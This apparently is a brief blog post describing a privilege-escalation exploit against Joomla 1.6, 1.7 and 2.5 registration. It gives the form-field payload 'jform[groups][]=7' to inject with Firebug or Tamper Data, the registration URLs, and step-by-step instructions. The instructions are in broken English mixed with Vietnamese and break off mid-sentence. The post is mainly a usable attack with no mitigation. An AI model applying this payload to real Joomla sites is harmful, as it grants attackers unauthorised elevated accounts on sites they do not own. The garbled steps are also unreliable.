[Bug] Joomla! 1.6/1.7/2.5 Privilege Escalation Vulnerability
![Image](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3o_y-C_AvVFeoVL0JPKOow8ijQ-qMUzkbKcq_HfO3FKSANEnuJ2i-QvlUJDqwN-XoOQa0Y2p5GO2U0PBE1P7BAwDma77_OdoBBLiM0MkPapgIn4W9g0c53iegjS59ST2MWH1i0_2Rpog/s1600/Joomla!+1.6_1.7_2.5+Privilege+Escalation+Vulnerability.png)
Firebug: <input name="jform[groups][]" value="7" /> Tamper Data: jform[groups][]=7 Chi tiết index.php?option=com_users&view=registration (2.x) index.php?option=com_user&view=register (Joomla! 1.x) 1. go to mydomain + index.php?option=com_users&view=registration 2. The first time I enter de pass incorrect. 3. The second time y insert with firebug after " .